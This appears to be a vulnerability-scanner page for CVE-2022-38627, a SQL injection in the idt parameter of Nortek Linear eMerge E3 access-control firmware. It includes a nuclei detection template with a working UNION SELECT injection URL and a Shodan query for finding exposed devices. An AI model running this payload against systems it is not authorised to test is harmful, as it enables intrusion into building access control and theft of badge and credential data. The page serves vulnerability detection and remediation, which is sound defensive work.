Nortek Linear eMerge E3-Series - SQL Injection

criticalseverity

9.8CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.

Impact

Unauthenticated attackers can exploit SQL injection in the idt parameter to extract sensitive access control data including badge information, user credentials, and building security configurations from the eMerge access control system.

Fix

Update Nortek Linear eMerge E3-Series firmware to a patched version that uses parameterized queries and properly sanitizes the idt parameter.

How to confirm it

Send: GET {{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{rands…
Positive when: matches /{{randstr}}CVE24010\.[0-9]+-[0-9]+[a-z]+/ AND contains "Print Badge" and "btnPrint"

Run it with nuclei: nuclei -id CVE-2022-38627 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-38627

info:
  name: Nortek Linear eMerge E3-Series - SQL Injection
  author: daffainfo,omarhashem666
  severity: critical
  description: |
    Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.
  impact: |
    Unauthenticated attackers can exploit SQL injection in the idt parameter to extract sensitive access control data including badge information, user credentials, and building security configurations from the eMerge access control system.
  remediation: |
    Update Nortek Linear eMerge E3-Series firmware to a patched version that uses parameterized queries and properly sanitizes the idt parameter.
  reference:
    - https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627
    - https://omar0x01.medium.com/15cebd072ed6
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38627
    epss-score: 0.04691
    epss-percentile: 0.91865
    cwe-id: CWE-89
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"Linear eMerge"
  tags: cve,cve2022,emerge,nortek,linear,sqli,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{randstr}}%27||%27CVE%27||(7*7*7*7)||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20version'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '{{randstr}}CVE24010\.[0-9]+-[0-9]+[a-z]+'

      - type: word
        part: body
        words:
          - "Print Badge"
          - "btnPrint"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from